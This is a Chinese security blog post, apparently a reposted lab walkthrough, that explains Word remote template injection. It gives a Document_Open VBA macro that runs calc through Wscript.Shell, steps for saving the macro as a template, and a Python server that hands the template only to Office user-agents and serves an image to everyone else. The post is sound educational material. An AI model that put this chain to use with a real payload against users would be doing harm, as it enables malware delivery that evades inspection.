攻防角度理解模板注入攻击

admin 2023年12月6日08:30:35评论12 views字数 1264阅读4分12秒阅读模式
实验开始之前我们需要对本机host做劫持,修改hosts文件,让指定域名强制解析为我们机器的ip

攻防角度理解模板注入攻击

将域名强制劫持成本地ip地址

攻防角度理解模板注入攻击

接下来创建一个空白文档->选择开发者工具(非默认开启)->选择Visual Basi

攻防角度理解模板注入攻击

可以双击左侧文档,为文档添加一VB宏代码

攻防角度理解模板注入攻击

添加宏代码如下,加载com组件启动calc

Sub Document_Open()

Set objShell = CreateObject("Wscript.Shell")objShell.Run "calc"

End Sub

点击运行测试我们的脚本可以正常运行

攻防角度理解模板注入攻击

将文档保存到文件服务器将要映射的文件路径下

攻防角度理解模板注入攻击

主图保存文档格式为启动宏的Word模板格式

攻防角度理解模板注入攻击

攻防角度理解模板注入攻击

写一段python服务器代码

from http.server import HTTPServer, BaseHTTPRequestHandler

host = ('localhost', 80)FILE_TO_SERVE1 = r'C:SimpleWWWtest.txt'FILE_TO_SERVE2 = r'C:SimpleWWWtest2.txt'

class My_Server(BaseHTTPRequestHandler):    def do_GET(self, *args, **kwargs):        if "MSOffice" in self.headers['user-agent']:            self.send_response(200)            self.send_header("Content-type", "application/msword")            self.end_headers()            body = b''            with open(FILE_TO_SERVE1, "rb") as f:                body = f.read()            self.wfile.write(body)            self.wfile.close()        else:            self.send_response(200)            self.send_header("Content-type", "image/jpeg")            self.end_headers()            body = b''            with open(FILE_TO_SERVE2, "rb") as f:                body = f.read()            self.wfile.write(body)            self.wfile.close()

    def do_OPTIONS(self):        self.send_response(200, "ok")        self.send_header('Access-Control-Allow-Methods', 'GET, OPTIONS')        self.send_header("Access-Control-Allow-Headers", "X-Requested-With, Content-type")



if __name__ == '__main__':    server = HTTPServer(host, My_Server)    print("server启动@ : %s:%s" % host)

    server.serve_forever()

原文始发于微信公众号(安全狗的自我修养):攻防角度理解模板注入攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月6日08:30:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防角度理解模板注入攻击http://cn-sec.com/archives/2271437.html

发表评论

匿名网友 填写信息